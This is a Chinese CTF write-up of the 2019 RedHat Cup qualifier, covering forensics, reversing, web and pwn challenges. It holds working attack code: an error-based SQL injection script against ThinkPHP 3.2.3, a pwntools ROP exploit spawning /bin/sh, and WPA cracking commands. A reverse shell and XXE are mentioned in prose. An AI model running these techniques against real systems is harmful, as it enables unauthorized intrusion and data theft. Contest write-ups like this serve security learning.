CTF 安全 逆向

第三届红帽杯线上初赛 RedHat 2019 WriteUp

前言

第三届红帽杯网络安全攻防大赛 线上初赛

比赛入口地址:https://race.ichunqiu.com/2019redhat

这次比赛共 1262 支队伍签到,我们解出 13 道题,排名第 5

今年比上一年比赛规模大很多。

0x00 Misc - Advertising for Marriage

内存取证题。

查看镜像信息。

volatility imageinfo -f Advertising\ for\ Marriage.raw

建议使用 WinXPSP2x86 预设。

查看进程。

volatility pslist -f Advertising\ for\ Marriage.raw

存在记事本的进程:notepad.exe

查看记事本。

volatility notepad -f Advertising\ for\ Marriage.raw

看到提示:hint:????needmoneyandgirlfirend

扫描所有文件。

volatility filescan -f Advertising\ for\ Marriage.raw

找到一张 png 图片:vegetable.png

导出图片。

volatility dumpfiles -f Advertising\ for\ Marriage.raw -Q 0x000000000249ae78 -D ./

打开图片。

图片无法显示,报错:IHDR: CRC ERROR

估计图片尺寸被修改了。

用脚本计算图片实际长度和宽度,并且生成修复后的图片。

import os
import binascii
import struct

img = open("vegetable.png", "rb").read()

for w in range(1024):
    for h in range(1024):
        data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
        crc32 = binascii.crc32(data) & 0xffffffff
        if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
            print w, h
            print hex(w), hex(h)
            open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
            exit()

Stegsolve 查看图片,找到模糊的 flag,一般情况较难恢复。同时,也发现 lsb 有点东西。

开头的 0x00000070 像是后面数据的长度,上网查了一下找到相同的例子,是使用 livz/cloacked-pixel 加密的。

这个工具解密需要密钥,密钥为上面记事本找到的提示:????needmoneyandgirlfirend,需要魔改工具爆破前 4 字节。

爆破得到密钥 b1cxneedmoneyandgirlfirend

解密图片隐写信息,得到字符串:VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==

进一步 base64 解码得到:Virginia ciphertext:gnxtmwg7r1417psedbs62587h0

使用 在线维吉尼亚密码解密工具 进行解密,密钥还是前面那个。

解密得到 flagisd7f1417bfafbf62587e0

Flag: flag{d7f1417bfafbf62587e0}

0x01 Misc - 玩具车

题目提供了以下文件。

大致就是提供了小车的原理图,l298n 的简易电路图,还有一堆音频文件。

使用 audacity 查看音频文件的波形,发现以下规律。

波形相同组一:L293_1_A1 ; L293_1_A2 ; L293_2_A1 ; L293_2_A2
波形相同组二:L293_1_B1 ; L293_1_B2 ; L293_2_B1 ; L293_2_B2
波形相同组三:L293_1_EnA ; L293_1_EnB ; L293_2_EnA ; L293_2_EnB

波形大小只有高/低两种,可能分别代表高电平/低电平,类似逻辑分析仪的数据。

按照以前用过 a4988 的经验,En 是使能端,需要高电平才会给电机输出驱动。 AB 可以控制电机转动方向,进而控制小车直线运动与转向。

大致规律如下。

A(高电平) + B(高电平) = 前进
A(低电平) + B(低电平) = 后退
A(低电平) + B(高电平) = 原地右转
A(高电平) + B(低电平) = 原地左转

接下来就是 wavePIL 相结合,把运动轨迹画出来。

import wave
import numpy as np
from PIL import Image, ImageDraw

wav_A = wave.open("L293_1_A1.wav", 'r')
wav_B = wave.open("L293_1_B1.wav", 'r')
wav_En = wave.open("L293_1_EnA.wav", 'r')

def read_wav(wav):
    num_frame = wav.getnframes()
    num_channel = wav.getnchannels()
    framerate = wav.getframerate()
    str_data = wav.readframes(num_frame)
    wave_data = np.fromstring(str_data, dtype = np.short)
    wave_data.shape = -1, num_channel
    return wave_data, framerate

def convert_level(level):
    if level != 0: return 1
    return 0

def draw(wav_A, wav_B, wav_En):
    wave_data_A, framerate_A = read_wav(wav_A)
    wave_data_B, framerate_B = read_wav(wav_B)
    wave_data_En, framerate_En = read_wav(wav_En)

    width = 4000
    height = 500
    im = Image.new('RGB',(width,height),'white')
    draw = ImageDraw.Draw(im)
    pos = [300, 300]
    direction = 1
    walk = 0

    cnt = 0
    rotate_cnt = 0
    for i in range(len(wave_data_A)):
        cnt += 1
        if cnt % 200 != 0: continue
        level_A = convert_level(wave_data_A[i][0])
        level_B = convert_level(wave_data_B[i][0])
        level_En = convert_level(wave_data_En[i][0])


        if level_En == 1:
            if level_A == 0 and level_B == 0:
                rotate_cnt = 0
                walk = 1
                draw.point((pos[0],pos[1]),'black')
                if direction == 0:
                    pos[0] -= 1
                if direction == 2:
                    pos[0] += 1
                if direction == 1:
                    pos[1] += 1
                if direction == 3:
                    pos[1] -= 1
            if level_A == 1 and level_B == 1:
                rotate_cnt = 0
                walk = 1
                draw.point((pos[0],pos[1]),'black')
                if direction == 0:
                    pos[0] += 1
                if direction == 2:
                    pos[0] -= 1
                if direction == 1:
                    pos[1] -= 1
                if direction == 3:
                    pos[1] += 1
            if level_A == 0 and level_B == 1:
                walk = 0
                rotate_cnt += 1
                if rotate_cnt % 40 == 0:
                    direction += 1
                    direction = direction % 4
            if level_A == 1 and level_B == 0:
                walk = 0
                rotate_cnt += 1
                if rotate_cnt % 40 == 0:
                    direction -= 1
                    if direction < 0: direction = 3

    im.show()

draw(wav_A, wav_B, wav_En)

Flag: flag{63177867-8a43-47ab-9048-298867128b3a}

0x02 Misc - 恶臭的数据包

WiFi 流量数据 WPA 加密了,随便跑个字典拿到密码 12345678

aircrack-ng cacosmia.cap -w 100000.txt

直接解密流量数据包。

airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678

Wireshark 看流量,找到 POST 了三张 png 图片,但是结尾隐写了一个压缩包 flag.zip,里面包含 flag.txt

导出png 图片文件,分离 flag.zip,需要密码才能解压。

回到 POST 请求,在 Cookie 里找到一个 hint

意思是:密码就是上次ping的网站

pingicmptcp 两种方式。如果 ping 域名时,会请求 dns 解析成 ip

这里大胆猜测 ping 的就是域名,所以直接找 dns 记录。

解压密码为:26rsfb.dnslog.cn

Flag: flag{f14376d0-793e-4e20-9eab-af23f3fdc158}

0x03 Reverse - xx

运行时缺失 vcruntime140_1.dll 文件,网上下载一个就可以了。

使用 IDAFindCrypt 插件找到 TEA_DELTA,结合题目名称 xx,很快找到 xxtea 算法的加密函数 sub_140001AB0

程序大致流程:

输入19字节
取前4字节作为xxtea密钥(因为格式为flag{.*},所以密钥为“flag”)
xxtea加密这19字节,得到24字节密文
做置换
做异或
与内置密文做比较

可以直接写个脚本逆一下。

enc = 'CEBC406B7C3A95C0EF9B202091F70235231802C8E75656FA'.decode('hex')

dec1 = ''
for i in range(len(enc)/3):
    j = len(enc)/3 - i - 1
    res = ''
    for k in enc[j*3:j*3+3]:
        tmp = ord(k)
        for l in range(j):
            tmp ^= ord(enc[l])
        res += chr(tmp)
    dec1 = res + dec1
print dec1.encode('hex')

dec2 = [''] * len(dec1)
for i in range(len(dec1)):
    dec2[i] = dec1[i]

box = [1,3,0,2,5,7,4,6,9,11,8,10,13,15,12,14,17,19,16,18,21,23,20,22]
print len(box)

for i in range(len(box)):
    dec2[i] = dec1[box[i]]
dec3 = ''.join(dec2)
print dec3.encode('hex')

import struct

_DELTA = 0x9E3779B9  

def _long2str(v, w):  
    n = (len(v) - 1) << 2  
    if w:  
        m = v[-1]  
        if (m < n - 3) or (m > n): return ''  
        n = m  
    s = struct.pack('<%iL' % len(v), *v)  
    return s[0:n] if w else s  

def _str2long(s, w):  
    n = len(s)  
    m = (4 - (n & 3) & 3) + n  
    s = s.ljust(m, "\0")  
    v = list(struct.unpack('<%iL' % (m >> 2), s))  
    if w: v.append(n)  
    return v  

def encrypt(str, key):  
    if str == '': return str  
    v = _str2long(str, True)  
    k = _str2long(key.ljust(16, "\0"), False)  
    n = len(v) - 1  
    z = v[n]  
    y = v[0]  
    sum = 0  
    q = 6 + 52 // (n + 1)  
    while q > 0:  
        sum = (sum + _DELTA) & 0xffffffff  
        e = sum >> 2 & 3  
        for p in xrange(n):  
            y = v[p + 1]  
            v[p] = (v[p] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff  
            z = v[p]  
        y = v[0]  
        v[n] = (v[n] + ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[n & 3 ^ e] ^ z))) & 0xffffffff  
        z = v[n]  
        q -= 1  
    return _long2str(v, False)  

def decrypt(str, key):  
    if str == '': return str  
    v = _str2long(str, False)  
    k = _str2long(key.ljust(16, "\0"), False)  
    n = len(v) - 1  
    z = v[n]  
    y = v[0]  
    q = 6 + 52 // (n + 1)  
    sum = (q * _DELTA) & 0xffffffff  
    while (sum != 0):  
        e = sum >> 2 & 3  
        for p in xrange(n, 0, -1):  
            z = v[p - 1]  
            v[p] = (v[p] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))) & 0xffffffff  
            y = v[p]  
        z = v[n]  
        v[0] = (v[0] - ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4) ^ (sum ^ y) + (k[0 & 3 ^ e] ^ z))) & 0xffffffff  
        y = v[0]  
        sum = (sum - _DELTA) & 0xffffffff  
    return _long2str(v, True)  

key = 'flag'
dec4 = decrypt(dec3, key)
print len(dec4)
print dec4

Flag: flag{CXX_and_++tea}

0x04 Reverse - easyRE

主流程在 fini_array 里,不过前面的流程还是要走的。

第一层:

输入36字节
逐字节与偏移值异或,与栈上预设密文做比较
可以直接逆出来得到
Info:The first four chars are `flag`

继续往下走,第二层:

输入39字节
10轮base64编码
与.rodata的预设密文做比较
也可以直接逆出来得到
https://bbs.pediy.com/thread-254172.htm

继续往下走,第三层,到主流程。在 fini_array 里,函数 sub_400D35

一个简单异或,密钥为 4 字节。上面提示了明文开头 4 字节为“flag”,所以异或回来可以得到密钥,从而解密出明文。

enc1 = 'Iodl>Qnb(ocy\x7fy\x2ei\x7fd`3w}wek9{iy=~yL@EC'

dec1 = ''
for i in range(len(enc1)):
    dec1 += chr(ord(enc1[i]) ^ i)
print dec1

from base64 import *

enc2 = "Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJsbDNXa1pPVlUxV2NIcFhhMk0xVmpKS1NHVkdXbFpOYmtKVVZtcEtTMUl5VGtsaVJtUk9ZV3hhZVZadGVHdFRNVTVYVW01T2FGSnRVbGhhVjNoaFZWWmtWMXBFVWxSTmJFcElWbTAxVDJGV1NuTlhia0pXWWxob1dGUnJXbXRXTVZaeVdrWm9hVlpyV1hwV1IzaGhXVmRHVjFOdVVsWmlhMHBZV1ZSR1lWZEdVbFZTYlhSWFRWWndNRlZ0TVc5VWJGcFZWbXR3VjJKSFVYZFdha1pXWlZaT2NtRkhhRk5pVjJoWVYxZDBhMVV3TlhOalJscFlZbGhTY1ZsclduZGxiR1J5VmxSR1ZXSlZjRWhaTUZKaFZqSktWVkZZYUZkV1JWcFlWV3BHYTFkWFRrZFRiV3hvVFVoQ1dsWXhaRFJpTWtsM1RVaG9hbEpYYUhOVmJUVkRZekZhY1ZKcmRGTk5Wa3A2VjJ0U1ExWlhTbFpqUldoYVRVWndkbFpxUmtwbGJVWklZVVprYUdFeGNHOVhXSEJIWkRGS2RGSnJhR2hTYXpWdlZGVm9RMlJzV25STldHUlZUVlpXTlZadE5VOVdiVXBJVld4c1dtSllUWGhXTUZwell6RmFkRkpzVWxOaVNFSktWa1phVTFFeFduUlRhMlJxVWxad1YxWnRlRXRXTVZaSFVsUnNVVlZVTURrPQ=="

dec2 = enc2
for i in range(10):
    dec2 = b64decode(dec2)
print dec2

enc3 = '403520565D182245172F246E623C2754486C246E723C32455B'.decode("hex")
key = ''

for i in range(4):
    key += chr(ord(enc3[i]) ^ ord('flag'[i]))

dec3 = ''
for i in range(len(enc3)):
    dec3 += chr(ord(enc3[i]) ^ ord(key[i % 4]))
print dec3

Flag: flag{Act1ve_Defen5e_Test}

0x05 Reverse - calc

主流程有三处 sleep,先 patch 掉。

没有符号表,而且一堆优化后的代码,还有又臭又长的析构。

好在使用的函数不算多,大部分函数都重复用了几次。

直接在函数调用处下断,看调用前后形参值的变化情况,大概可以猜出来函数的作用。

最先能看出来的是,我们需要输入 3组数字,然后这 3组数字 去做一系列运算,最后得到 2组数字 需要相等。

这里 3组数字 暂且表示为:abc

(a[1] - a[0]) >> 2 可以看作取长度的操作。

实现了比较 a < c 的功能:

实现了比较 b < a 的功能:

然后调试猜出来的函数有这些:

总共用到 加、减、乘、次幂、赋值 五种运算函数。

最后,能总结出来以下内容。

b < a < c
(a+b)**3 - 3*a*(b**2) - 3*b*(a**2) == (c+4)**3 - 12*(c**2) - c*48 - 22

化简得到:

b < a < c
a**3 + b**3 - c**3 == 42

z3 算不出来。

然后看到 42,想起前段时间 中科大信息安全大赛 有原题,做过的题差点忘了。

搜素关键词:42 sum of three cubes

(-80538738812075974)**3 + 80435758145817515**3 + 12602123297335631**3 = 42

所以,能得到结果。

a = 80435758145817515
b = 12602123297335631
c = 80538738812075974

Flag: flag{951e27be2b2f10b7fa22a6dc8f4682bd}

0x06 Reverse - childRE

这题 patch掉 4处调用反调试检测函数的地方,还有主函数里的 Sleep

主函数的这个位置,大概调了一下,是对我们的输入做置换的,而且我们只能输入31字节。

然后网上查了 UnDecorateSymbolName 的作用,学习了一下 Visual C++名字修饰

那么总结一下大概流程。

输入31字节
置换
C++反修饰
经过一个商和余数分离,然后查表字符替换的算法
与预设值进行比较

可以先从预设值,逆向推导回来,得到反修饰的结果。

private: char * __thiscall R0Pxx::My_Aut0_PWN(unsigned char *)

然后根据反修饰的结果,再编写 C++例程,得到修饰名称。

#include <iostream>
#include "stdafx.h"

class R0Pxx {
    public:
        R0Pxx() {
            unsigned char tmp;
            My_Aut0_PWN(&tmp);
        }

    private:
        char * My_Aut0_PWN(unsigned char *) {
            printf("%s\n", __FUNCDNAME__);
            char tmp;
            return &tmp;
        };
};

int main()
{
    new R0Pxx();
    getchar();
    return 0;
}

附上替换和置换的逆算法。

from hashlib import md5

a = '55565653255552225565565555243466334653663544426565555525555222'
b = '(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'
c = '1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;\'ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'

dec = ''
for i in range(0x3E):
    dec += chr(c.index(a[i]) * 0x17 + c.index(b[i]))
print dec

d = 'abcdefghijklmnopqrstuvwxyz01234'
e = 'pqhrsidtujvwkebxylz0mf12n34ogca'
f = []

for i in range(0x1f):
    f.append(d.index(e[i]))

g = '?My_Aut0_PWN@R0Pxx@@AAEPADPAE@Z'
h = [''] * 0x1f

for i in range(0x1f):
    h[f[i]] = g[i]
h = ''.join(h)
print md5(h).hexdigest()

Flag: flag{63b148e750fed3a33419168ac58083f5}

0x07 Reverse - Snake

Unity 逆向。

C# 可以使用 ILSpydnSpy 逆向和调试。

常规套路,先逆 Assembly-CSharp.dll

这里调用到外部DLL Interface.dll,可以在 Plugins 目录下找到。

不过 Interface.dll 应该是用 C++ 写的,所以只能 IDA 了。

看了一下,flag 应该是在 signed __int64 __fastcall GameObject(int a1) 里输出的。

不过这代码又臭又长,不好弄。

但是直接调用这个函数,不考虑外部变量的影响,能够人为控制的只有该函数的参数 a1,而且控制 a1 可以走不同的流程。

fuzz 了一下,结合代码总结了规律。

0<=a1<=99: 运行将近1分钟,然后输出You win! flag is或者Try again,返回7
100<=a1<=199: 尝试了a1的全部可能性,一致输出EDG failed,返回996
a1>=200: 代码里直接返回996,无输出
a1<0: 输出假flag,返回-1

那么,只有 0<=a1<=99a1<0 可能输出 flag

直接爆破一下。

#include "iostream"
#include <Windows.h>
#include <stdio.h>
#include "stdafx.h"
#include "libloaderapi.h"
#include <stdlib.h>


int main(int argc, char* argv[])
{
    const char* funcName = "GameObject";
    HMODULE hDLL = LoadLibrary(L"C:\\Users\\impakho\\Desktop\\Snake\\Snake_Data\\Plugins\\Interface.dll");
    if (hDLL != NULL)
    {
        printf("load succ\n");
        typedef int(*funcptr)(int);
        funcptr func = (funcptr)GetProcAddress(hDLL, funcName);
        if (func != NULL)
        {
            signed int res = func(atoi(argv[1]));
            printf("%d\n", res);

            /*
            for (int i = 0; i < 100; i++) {
                signed int res = func(i);
                printf("%d: %d\n", i, res);
            }
            */
            printf("have func\n");
        }
        else
        {
            printf("no func\n");
        }
    }
    else
    {
        printf("load fail\n");
    }


    getchar();
    return 0;
}

手动多开窗口、进程,进行爆破。

a=19 的时候,得到 flag

Flag: flag{Ch4rp_W1th_R$@}

0x08 Crypto - Broadcast

估计是出题人忘记删除题目里的 flag 了,导致翻车事故。

Flag: flag{fa0f8335-ae80-448e-a329-6fb69048aae4}

0x09 Web - easyweb

题目给了一个 XYHCMS

网站开启了列目录。

比较了一下文件,推测应该是 XYHCMS 3.6,网上没找到可用漏洞。

然后框架用的是 ThinkPHP 3.2.3,网上倒是能找到好几个漏洞。

比如 缓存漏洞where注入orderby注入 等等。

不过能够结合列目录,直接 getshell缓存漏洞,审了一下代码,应该用不了。

所以应该是找注入点。

这里就是一个明显的 tp 3.2.3 orderby注入,可以用数组的键名(key)构造SQL语句进行注入。

虽然没有开调试模式(Debug Mode),但还是可以报错注入,可以通过访问 /App/Runtime/Logs/Api/ 下的日志文件,查看报错回显信息。

然后就是爆库、爆表、爆字段名。

import requests

url = 'http://7db76480390842bd9cff719ba383c3bf783025e6683844a8.changame.ichunqiu.com'

// brute schema_name
for i in range(3):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(schema_name),"+str(i*25+1)+",25)%20from%20information_schema.SCHEMATA)),1);]")

// brute table_name
for i in range(30):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(table_name),"+str(i*25+1)+",25)%20from%20information_schema.tables where table_schema%3d'xyhcms')),1);]")

// brute column_name
for i in range(5):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(column_name),"+str(i*25+1)+",25)%20from%20information_schema.COLUMNS where table_name%3d'fl4g')),1);]")

// read flag
for i in range(3):
    requests.get(url + "/index.php/Api/Lt/alist?orderby[updatexml(1,concat(0x3a,(select%20substr(group_concat(flaag),"+str(i*25+1)+",25)%20from%20fl4g)),1);]")

print 'To view the errorlog, please visit %s/App/Runtime/Logs/Api/' % url

Flag: flag{d86731ac-e38f-465a-a691-ea78cc604f57}

0x0A Pwn - three [Ex师傅]

int main_method()
{
  int result; // eax
  int size; // [esp+Ch] [ebp-1Ch]
  int v2; // [esp+10h] [ebp-18h]
  int (__cdecl *v3)(signed int); // [esp+14h] [ebp-14h]
  int v4; // [esp+18h] [ebp-10h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  _IO_puts("Give me a index:");
  v2 = sub_8048ADF((char *)dword_80F6C80[0]);
  v3 = (int (__cdecl *)(signed int))__mmap(0, 4096, 7, 0x22, 0, 0);
  _IO_puts("Three is good number,I like it very much!");
  __libc_read(0, v3, 3);
  _IO_puts("Leave you name of size:");
  scanf("%d", &size);
  if ( size < 0 || size > 512 )
    exit(0);
  _IO_puts("Tell me:");
  __libc_read(0, &name_buf, size - 1);
  v4 = v3(1);
  if ( v2 == v4 )
    result = _IO_puts("1");
  else
    result = _IO_puts("2");
  return result;
}

程序流很简单,就是读三个字节执行,然后和 flag 进行判断。

通过调试可以看到直接将 esp 替换成 name_buf 进行 ROP

Breakpoint 1, 0x08048c5b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 EAX  0xf7ff8000 ◂— xchg   ecx, esp /* 0xc3e187 */
 EBX  0x80f4f74 ◂— 0x0
 ECX  0x80f6cc0 —▸ 0x8072fb1 ◂— pop    edx
 EDX  0x1fe
 EDI  0x80481b8 ◂— push   ebx
 ESI  0x80f4f74 ◂— 0x0
 EBP  0xffffcce8 —▸ 0xffffccf8 ◂— 0x0
 ESP  0xffffccb0 ◂— 0x1
 EIP  0x8048c5b ◂— call   eax
──────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────
 ► 0x8048c5b    call   eax

0x80f6cc0 就是 name_buf

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols.c', 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
#     pass

# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('47.104.190.38', 12001)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *0x8048c5b
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

sh.sendlineafter('index:\n', str(0))
# pause()
payload = asm('''
xchg ecx, esp
ret
''')
sh.sendafter(' much!\n', payload)
sh.sendlineafter('size:\n', str(0x1ff))
# pause()
layout = [
    0x08072fb1, #: pop edx; pop ecx; pop ebx; ret; 
    0,
    0,
    0x80f6d40,
    0x080c11e6, #: pop eax; ret; 
    11,
    0x080738c0, #: int 0x80; ret; 
]
sh.sendafter('me:\n', flat(layout).ljust(0x80, '\0') + '/bin/sh\0')

sh.interactive()
clear()

Flag: flag{1f8e093b45bbb8f4b14478b253}

0x0B Web - Ticket_system [12end师傅]

登陆进去有上传点,上传任意 xml,然后可以手动提交 xml 数据,存在 xxe

读取源码发现是 5.2.0thinkphpSmi1e 博客有 5.2.x 的反序列化链,payload 搬过来直接可以打到。

通过 perl 成功反弹 shell

www-data 权限,根目录存在 /readflag,运行发现是 *CTF 原题。

在网上找到 php 解题文件,file_put_contents 写到本地运行即可。

<?php
$descriptorspec = array(
    0 => array("pipe", "r"),  // 标准输入,子进程从此管道中读取数据
    1 => array("pipe", "w"),  // 标准输出,子进程向此管道中写入数据
    2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$process = proc_open('/readflag', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    $question = fread($pipes[1],1024); // 获取程序问题
    $question = fread($pipes[1],1024); // 获取程序问题
    $question = trim($question);
    var_dump($question);
    eval('$result = '.$question.';');   // 计算问题结果
    fwrite($pipes[0], $result);         // 回答程序问题
    fclose($pipes[0]);
    var_dump($result);

    // $flag = stream_get_contents($pipes[1]);// getflag
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);
    $flag = fread($pipes[1],1024);

    fclose($pipes[1]);
    var_dump($flag);

    $return_value = proc_close($process);

    echo "command returned $return_value\n";
}
?>

Flag: flag{3ff32148-e229-41fd-b7b9-d09e76d35daf}

0x0C Misc - 签到 [12end师傅]

https://www.wjx.top/jq/48618223.aspx

直接回答问卷即可拿到 flag


标签: CTF 安全 逆向

Comments